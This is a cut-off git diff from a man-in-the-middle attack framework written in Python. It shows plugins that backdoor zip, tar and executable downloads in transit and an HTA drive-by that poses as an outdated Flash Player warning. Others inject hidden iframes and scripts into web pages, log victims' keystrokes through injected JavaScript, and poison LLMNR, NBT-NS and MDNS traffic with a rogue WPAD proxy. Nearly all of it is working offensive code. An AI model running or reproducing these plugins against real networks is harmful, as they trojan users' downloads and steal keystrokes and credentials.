tarFileStorage.write(aTarFileBytes)
|
||||
tarFileStorage.flush()
|
||||
|
||||
if not tarfile.is_tarfile(tarFileStorage.name):
|
||||
print '[!] Not a tar file'
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
compressionMode = ':'
|
||||
if formatt == 'gz':
|
||||
compressionMode = ':gz'
|
||||
if formatt == 'bz':
|
||||
compressionMode = ':bz2'
|
||||
|
||||
tarFile = None
|
||||
try:
|
||||
tarFileStorage.seek(0)
|
||||
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
|
||||
except tarfile.ReadError:
|
||||
pass
|
||||
|
||||
if tarFile is None:
|
||||
print '[!] Not a tar file'
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
|
||||
print '[*] Tar file contents and info:'
|
||||
print '[*] Compression:', formatt
|
||||
|
||||
members = tarFile.getmembers()
|
||||
for info in members:
|
||||
print "\t", info.name, info.mtime, info.size
|
||||
|
||||
newTarFileStorage = tempfile.NamedTemporaryFile()
|
||||
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
|
||||
|
||||
patchCount = 0
|
||||
wasPatched = False
|
||||
|
||||
for info in members:
|
||||
print "[*] >>> Next file in tarfile:", info.name
|
||||
|
||||
if not info.isfile():
|
||||
print info.name, 'is not a file'
|
||||
newTarFile.addfile(info, tarFile.extractfile(info))
|
||||
continue
|
||||
|
||||
if info.size >= long(self.FileSizeMax):
|
||||
print info.name, 'is too big'
|
||||
newTarFile.addfile(info, tarFile.extractfile(info))
|
||||
continue
|
||||
|
||||
# Check against keywords
|
||||
keywordCheck = False
|
||||
|
||||
if type(self.tarblacklist) is str:
|
||||
if self.tarblacklist.lower() in info.name.lower():
|
||||
keywordCheck = True
|
||||
|
||||
else:
|
||||
for keyword in self.tarblacklist:
|
||||
if keyword.lower() in info.name.lower():
|
||||
keywordCheck = True
|
||||
continue
|
||||
|
||||
if keywordCheck is True:
|
||||
print "[!] Tar blacklist enforced!"
|
||||
self.log.info('Tar blacklist enforced on {}'.format(info.name))
|
||||
continue
|
||||
|
||||
# Try to patch
|
||||
extractedFile = tarFile.extractfile(info)
|
||||
|
||||
if patchCount >= int(self.userConfig['TAR']['patchCount']):
|
||||
newTarFile.addfile(info, extractedFile)
|
||||
else:
|
||||
# create the file on disk temporarily for fileGrinder to run on it
|
||||
with tempfile.NamedTemporaryFile() as tmp:
|
||||
shutil.copyfileobj(extractedFile, tmp)
|
||||
tmp.flush()
|
||||
patchResult = self.binaryGrinder(tmp.name)
|
||||
if patchResult:
|
||||
patchCount += 1
|
||||
file2 = "backdoored/" + os.path.basename(tmp.name)
|
||||
print "[*] Patching complete, adding to tar file."
|
||||
info.size = os.stat(file2).st_size
|
||||
with open(file2, 'rb') as f:
|
||||
newTarFile.addfile(info, f)
|
||||
self.log.info("{} in tar patched, adding to tarfile".format(info.name))
|
||||
os.remove(file2)
|
||||
wasPatched = True
|
||||
else:
|
||||
print "[!] Patching failed"
|
||||
with open(tmp.name, 'rb') as f:
|
||||
newTarFile.addfile(info, f)
|
||||
self.log.info("{} patching failed. Keeping original file in tar.".format(info.name))
|
||||
if patchCount == int(self.userConfig['TAR']['patchCount']):
|
||||
self.log.info("Met Tar config patchCount limit.")
|
||||
|
||||
# finalize the writing of the tar file first
|
||||
newTarFile.close()
|
||||
|
||||
# then read the new tar file into memory
|
||||
newTarFileStorage.seek(0)
|
||||
ret = newTarFileStorage.read()
|
||||
newTarFileStorage.close() # it's automatically deleted
|
||||
|
||||
if wasPatched is False:
|
||||
# If nothing was changed return the original
|
||||
print "[*] No files were patched forwarding original file"
|
||||
self.patched.put(aTarFileBytes)
|
||||
return
|
||||
else:
|
||||
self.patched.put(ret)
|
||||
return
|
||||
|
||||
def zip_files(self, aZipFile):
|
||||
"When called will unpack and edit a Zip File and return a zip file"
|
||||
|
||||
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
|
||||
|
||||
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
|
||||
print "[!] ZipFile over allowed size"
|
||||
self.log.info("ZipFIle maxSize met {}".format(len(aZipFile)))
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
|
||||
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
|
||||
tmpDir = '/tmp/' + tmpRan
|
||||
tmpFile = '/tmp/' + tmpRan + '.zip'
|
||||
|
||||
os.mkdir(tmpDir)
|
||||
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(aZipFile)
|
||||
|
||||
zippyfile = zipfile.ZipFile(tmpFile, 'r')
|
||||
|
||||
#encryption test
|
||||
try:
|
||||
zippyfile.testzip()
|
||||
|
||||
except RuntimeError as e:
|
||||
if 'encrypted' in str(e):
|
||||
self.log.info('Encrypted zipfile found. Not patching.')
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
|
||||
print "[*] ZipFile contents and info:"
|
||||
|
||||
for info in zippyfile.infolist():
|
||||
print "\t", info.filename, info.date_time, info.file_size
|
||||
|
||||
zippyfile.extractall(tmpDir)
|
||||
|
||||
patchCount = 0
|
||||
|
||||
wasPatched = False
|
||||
|
||||
for info in zippyfile.infolist():
|
||||
print "[*] >>> Next file in zipfile:", info.filename
|
||||
|
||||
if os.path.isdir(tmpDir + '/' + info.filename) is True:
|
||||
print info.filename, 'is a directory'
|
||||
continue
|
||||
|
||||
#Check against keywords
|
||||
keywordCheck = False
|
||||
|
||||
if type(self.zipblacklist) is str:
|
||||
if self.zipblacklist.lower() in info.filename.lower():
|
||||
keywordCheck = True
|
||||
|
||||
else:
|
||||
for keyword in self.zipblacklist:
|
||||
if keyword.lower() in info.filename.lower():
|
||||
keywordCheck = True
|
||||
continue
|
||||
|
||||
if keywordCheck is True:
|
||||
print "[!] Zip blacklist enforced!"
|
||||
self.log.info('Zip blacklist enforced on {}'.format(info.filename))
|
||||
continue
|
||||
|
||||
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
|
||||
|
||||
if patchResult:
|
||||
patchCount += 1
|
||||
file2 = "backdoored/" + os.path.basename(info.filename)
|
||||
print "[*] Patching complete, adding to zip file."
|
||||
shutil.copyfile(file2, tmpDir + '/' + info.filename)
|
||||
self.log.info("{} in zip patched, adding to zipfile".format(info.filename))
|
||||
os.remove(file2)
|
||||
wasPatched = True
|
||||
else:
|
||||
print "[!] Patching failed"
|
||||
self.log.info("{} patching failed. Keeping original file in zip.".format(info.filename))
|
||||
|
||||
print '-' * 10
|
||||
|
||||
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
|
||||
self.log.info("Met Zip config patchCount limit.")
|
||||
break
|
||||
|
||||
zippyfile.close()
|
||||
|
||||
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
|
||||
|
||||
print "[*] Writing to zipfile:", tmpFile
|
||||
|
||||
for base, dirs, files in os.walk(tmpDir):
|
||||
for afile in files:
|
||||
filename = os.path.join(base, afile)
|
||||
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
|
||||
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
|
||||
|
||||
zipResult.close()
|
||||
#clean up
|
||||
shutil.rmtree(tmpDir)
|
||||
|
||||
with open(tmpFile, 'rb') as f:
|
||||
tempZipFile = f.read()
|
||||
os.remove(tmpFile)
|
||||
|
||||
if wasPatched is False:
|
||||
print "[*] No files were patched forwarding original file"
|
||||
self.patched.put(aZipFile)
|
||||
return
|
||||
else:
|
||||
self.patched.put(tempZipFile)
|
||||
return
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
content_header = response.headers['Content-Type']
|
||||
client_ip = response.getClientIP()
|
||||
|
||||
if content_header in self.zipMimeTypes:
|
||||
|
||||
if self.bytes_have_format(data, 'zip'):
|
||||
self.clientlog.info("Detected supported zip file type!", extra=request.clientInfo)
|
||||
|
||||
process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
#process.join()
|
||||
bd_zip = self.patched.get()
|
||||
|
||||
if bd_zip:
|
||||
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_zip}
|
||||
|
||||
else:
|
||||
for tartype in ['gz','bz','tar']:
|
||||
if self.bytes_have_format(data, tartype):
|
||||
self.clientlog.info("Detected supported tar file type!", extra=request.clientInfo)
|
||||
|
||||
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
#process.join()
|
||||
bd_tar = self.patched.get()
|
||||
|
||||
if bd_tar:
|
||||
self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_tar}
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||
if self.bytes_have_format(data, bintype):
|
||||
self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo)
|
||||
fd, tmpFile = mkstemp()
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(data)
|
||||
|
||||
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
#process.join()
|
||||
patchb = self.patched.get()
|
||||
|
||||
if patchb:
|
||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_binary}
|
||||
else:
|
||||
self.clientInfo.info("Patching Failed!", extra=request.clientInfo)
|
||||
|
||||
self.clientlog.debug("File is not of supported content-type: {}".format(content_header), extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': data}
|
56
plugins/htadriveby.py
Normal file
56
plugins/htadriveby.py
Normal file
|
@ -0,0 +1,56 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import re
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
|
||||
class HTADriveBy(Inject, Plugin):
|
||||
name = 'HTA Drive-By'
|
||||
desc = 'Performs HTA drive-by attacks on clients'
|
||||
optname = 'hta'
|
||||
ver = '0.1'
|
||||
|
||||
def initialize(self, options):
|
||||
self.bar_text = options.text
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
server = HTTPserver().server
|
||||
|
||||
@server.route('/<hta_req>')
|
||||
def client_request(hta_req):
|
||||
if hta_req == "Flash.hta":
|
||||
with open('./config/hta_driveby/Flash.hta') as hta_file:
|
||||
resp = flask.Response(hta_file.read())
|
||||
|
||||
resp.headers['Content-Type'] = "application/hta"
|
||||
return resp
|
||||
|
||||
def get_payload(self):
|
||||
with open("./core/html/htadriveby.html", 'r') as file:
|
||||
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
|
||||
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
|
||||
return payload
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
|
@ -17,10 +17,9 @@
|
|||
#
|
||||
|
||||
import time
|
||||
import re
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
from bs4 import BeautifulSoup
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Inject(Plugin):
|
||||
|
@ -48,48 +47,59 @@ class Inject(Plugin):
|
|||
self.white_ips = options.white_ips.split(',')
|
||||
self.white_domains = options.white_domains.split(',')
|
||||
self.black_domains = options.black_domains.split(',')
|
||||
self.match_str = options.match_str
|
||||
|
||||
self.ctable = {}
|
||||
self.dtable = {}
|
||||
self.count = 0
|
||||
self.mime = "text/html"
|
||||
|
||||
def response(self, response, request, data):
|
||||
ip, hn, mime = self._get_req_info(response)
|
||||
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip):
|
||||
if (not self.js_url == self.html_url is not None or not self.html_payload == ""):
|
||||
data = self._insert_html(data, post=[(self.match_str, self.get_payload())])
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
self.count += 1
|
||||
self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
ip = response.getClientIP()
|
||||
hn = response.getRequestHostname()
|
||||
mime = response.headers['Content-Type']
|
||||
|
||||
if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime):
|
||||
html = BeautifulSoup(data, "lxml")
|
||||
if html.body:
|
||||
|
||||
if self.html_url:
|
||||
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
|
||||
html.body.append(iframe)
|
||||
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
|
||||
|
||||
if self.html_payload:
|
||||
payload = BeautifulSoup(self.html_payload, "html.parser")
|
||||
html.body.append(payload)
|
||||
self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.html_file:
|
||||
with open(self.html_file, 'r') as file:
|
||||
payload = BeautifulSoup(file.read(), "html.parser")
|
||||
html.body.append(payload)
|
||||
self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.js_url:
|
||||
script = html.new_tag('script', type='text/javascript', src=self.js_url)
|
||||
html.body.append(script)
|
||||
self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.js_payload:
|
||||
tag = html.new_tag('script', type='text/javascript')
|
||||
tag.append(self.js_payload)
|
||||
html.body.append(tag)
|
||||
self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
if self.js_file:
|
||||
tag = html.new_tag('script', type='text/javascript')
|
||||
with open(self.js_file, 'r') as file:
|
||||
tag.append(file.read())
|
||||
html.body.append(tag)
|
||||
self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo)
|
||||
|
||||
data = str(html)
|
||||
|
||||
return {'response': response, 'request':request, 'data': data}
|
||||
|
||||
def get_payload(self):
|
||||
payload = ''
|
||||
|
||||
if self.html_url is not None:
|
||||
payload += '<iframe src="{}" height=0%% width=0%%></iframe>'.format(self.html_url)
|
||||
|
||||
if self.html_payload is not None:
|
||||
payload += self.html_payload
|
||||
|
||||
if self.html_file:
|
||||
payload += self.html_file.read()
|
||||
|
||||
if self.js_url is not None:
|
||||
payload += '<script type="text/javascript" src="{}"></script>'.format(self.js_url)
|
||||
|
||||
if self.js_payload is not None:
|
||||
payload += '<script type="text/javascript">{}</script>'.format(self.js_payload)
|
||||
|
||||
if self.js_file:
|
||||
payload += '<script type="text/javascript">{}</script>'.format(self.js_file.read())
|
||||
|
||||
return payload
|
||||
|
||||
def _ip_filter(self, ip):
|
||||
|
||||
if self.white_ips[0] != '':
|
||||
|
@ -122,8 +132,7 @@ class Inject(Plugin):
|
|||
|
||||
return True
|
||||
|
||||
|
||||
def _should_inject(self, ip, hn, mime):
|
||||
def _should_inject(self, ip, hn):
|
||||
|
||||
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||
return True
|
||||
|
@ -138,45 +147,16 @@ class Inject(Plugin):
|
|||
if self.per_domain:
|
||||
return not ip+hn in self.dtable
|
||||
|
||||
return mime.find(self.mime) != -1
|
||||
|
||||
def _get_req_info(self, response):
|
||||
ip = response.getClientIP()
|
||||
hn = response.getRequestHostname()
|
||||
mime = response.headers['Content-Type']
|
||||
return (ip, hn, mime)
|
||||
|
||||
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
|
||||
'''
|
||||
To use this function, simply pass a list of tuples of the form:
|
||||
|
||||
(string/regex_to_match,html_to_inject)
|
||||
|
||||
NOTE: Matching will be case insensitive unless differnt flags are given
|
||||
|
||||
The pre array will have the match in front of your injected code, the post
|
||||
will put the match behind it.
|
||||
'''
|
||||
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
|
||||
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
|
||||
|
||||
for i, r in enumerate(pre_regexes):
|
||||
data = re.sub(r, "\g<match>"+pre[i][1], data)
|
||||
|
||||
for i, r in enumerate(post_regexes):
|
||||
data = re.sub(r, post[i][1]+"\g<match>", data)
|
||||
|
||||
return data
|
||||
return True
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--js-url", type=str, help="URL of the JS to inject")
|
||||
options.add_argument('--js-payload', type=str, help='JS string to inject')
|
||||
options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject')
|
||||
options.add_argument('--js-file', type=str, help='File containing JS to inject')
|
||||
options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
|
||||
options.add_argument("--html-payload", type=str, help="HTML string to inject")
|
||||
options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject')
|
||||
options.add_argument("--match-str", type=str, default='</body>', help="String you would like to match and place your payload before. (</body> by default)")
|
||||
|
||||
options.add_argument('--html-file', type=str, help='File containing HTML to inject')
|
||||
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
|
||||
group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
|
62
plugins/jskeylogger.py
Normal file
62
plugins/jskeylogger.py
Normal file
|
@ -0,0 +1,62 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.inject import Inject
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class JSKeylogger(Inject, Plugin):
|
||||
name = "JSKeylogger"
|
||||
optname = "jskeylogger"
|
||||
desc = "Injects a javascript keylogger into clients webpages"
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.js_file = "./core/javascript/msfkeylogger.js"
|
||||
|
||||
def request(self, request):
|
||||
if 'keylog' in request.uri:
|
||||
request.handle_post_output = True
|
||||
|
||||
raw_keys = request.postData.split("&&")[0]
|
||||
input_field = request.postData.split("&&")[1]
|
||||
|
||||
keys = raw_keys.split(",")
|
||||
if keys:
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
||||
nice = ''
|
||||
for n in keys:
|
||||
if n == '9':
|
||||
nice += "<TAB>"
|
||||
elif n == '8':
|
||||
nice = nice[:-1]
|
||||
elif n == '13':
|
||||
nice = ''
|
||||
else:
|
||||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
|
||||
|
||||
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
|
||||
|
||||
def options(self, options):
|
||||
pass
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
|
@ -24,7 +22,7 @@ import argparse
|
|||
from core.configwatcher import ConfigWatcher
|
||||
from core.logger import logger
|
||||
|
||||
class Plugin(ConfigWatcher, object):
|
||||
class Plugin(ConfigWatcher):
|
||||
name = "Generic plugin"
|
||||
optname = "generic"
|
||||
tree_info = []
|
||||
|
|
53
plugins/replace.py
Normal file
53
plugins/replace.py
Normal file
|
@ -0,0 +1,53 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
"""
|
||||
|
||||
Original plugin by @rubenthijssen
|
||||
|
||||
"""
|
||||
|
||||
import re
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Replace(Plugin):
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
def response(self, response, request, data):
|
||||
mime = response.headers['Content-Type']
|
||||
hn = response.getRequestHostname()
|
||||
|
||||
if "text/html" in mime:
|
||||
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, data):
|
||||
try:
|
||||
data = re.sub(regex1, regex2, data)
|
||||
|
||||
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
|
||||
except Exception:
|
||||
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
141
plugins/responder.py
Normal file
141
plugins/responder.py
Normal file
|
@ -0,0 +1,141 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
|
||||
class Responder(Plugin):
|
||||
name = "Responder"
|
||||
optname = "responder"
|
||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
version = "0.2"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.interface = options.interface
|
||||
self.ip = options.ip
|
||||
|
||||
try:
|
||||
config = self.config['Responder']
|
||||
smbChal = self.config['MITMf']['SMB']['Challenge']
|
||||
except Exception as e:
|
||||
shutdown('[-] Error parsing config for Responder: ' + str(e))
|
||||
|
||||
from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner
|
||||
from core.responder.mdns.MDNSpoisoner import MDNSpoisoner
|
||||
from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner
|
||||
from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter
|
||||
|
||||
LANfingerprinter().start(options)
|
||||
MDNSpoisoner().start(options, options.ip)
|
||||
NBTNSpoisoner().start(options, options.ip)
|
||||
LLMNRpoisoner().start(options, options.ip)
|
||||
|
||||
if options.wpad:
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
import flask
|
||||
|
||||
server = HTTPserver().server
|
||||
|
||||
@server.route('/<wpad_req>')
|
||||
def wpad(wpad_req):
|
||||
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
|
||||
payload = self.config['Responder']['WPADScript']
|
||||
|
||||
resp = flask.Response(payload)
|
||||
resp.headers['Server'] = "Microsoft-IIS/6.0"
|
||||
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
|
||||
resp.headers['X-Powered-By'] = "ASP.NET"
|
||||
resp.headers['Content-Length'] = len(payload)
|
||||
|
||||
return resp
|
||||
|
||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||
from core.responder.mssql.MSSQLserver import MSSQLserver
|
||||
MSSQLserver().start(smbChal)
|
||||
|
||||
if self.config["Responder"]["Kerberos"].lower() == "on":
|
||||
from core.responder.kerberos.KERBserver import KERBserver
|
||||
KERBserver().start()
|
||||
|
||||
if self.config["Responder"]["FTP"].lower() == "on":
|
||||
from core.responder.ftp.FTPserver import FTPserver
|
||||
FTPserver().start()
|
||||
|
||||
if self.config["Responder"]["POP"].lower() == "on":
|
||||
from core.responder.pop3.POP3server import POP3server
|
||||
POP3server().start()
|
||||
|
||||
if self.config["Responder"]["SMTP"].lower() == "on":
|
||||
from core.responder.smtp.SMTPserver import SMTPserver
|
||||
SMTPserver().start()
|
||||
|
||||
if self.config["Responder"]["IMAP"].lower() == "on":
|
||||
from core.responder.imap.IMAPserver import IMAPserver
|
||||
IMAPserver().start()
|
||||
|
||||
if self.config["Responder"]["LDAP"].lower() == "on":
|
||||
from core.responder.ldap.LDAPserver import LDAPserver
|
||||
LDAPserver().start(smbChal)
|
||||
|
||||
if options.analyze:
|
||||
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||
self.IsICMPRedirectPlausible(options.ip)
|
||||
|
||||
def IsICMPRedirectPlausible(self, IP):
|
||||
result = []
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
|
||||
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
|
||||
else:
|
||||
pass
|
||||
|
||||
def IsOnTheSameSubnet(self, ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def reactor(self, strippingFactory):
|
||||
reactor.listenTCP(3141, strippingFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
|
||||
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
|
||||
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
|
||||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
||||
# Removed these options until I find a better way of implementing them
|
||||
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
59
plugins/screenshotter.py
Normal file
59
plugins/screenshotter.py
Normal file
|
@ -0,0 +1,59 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
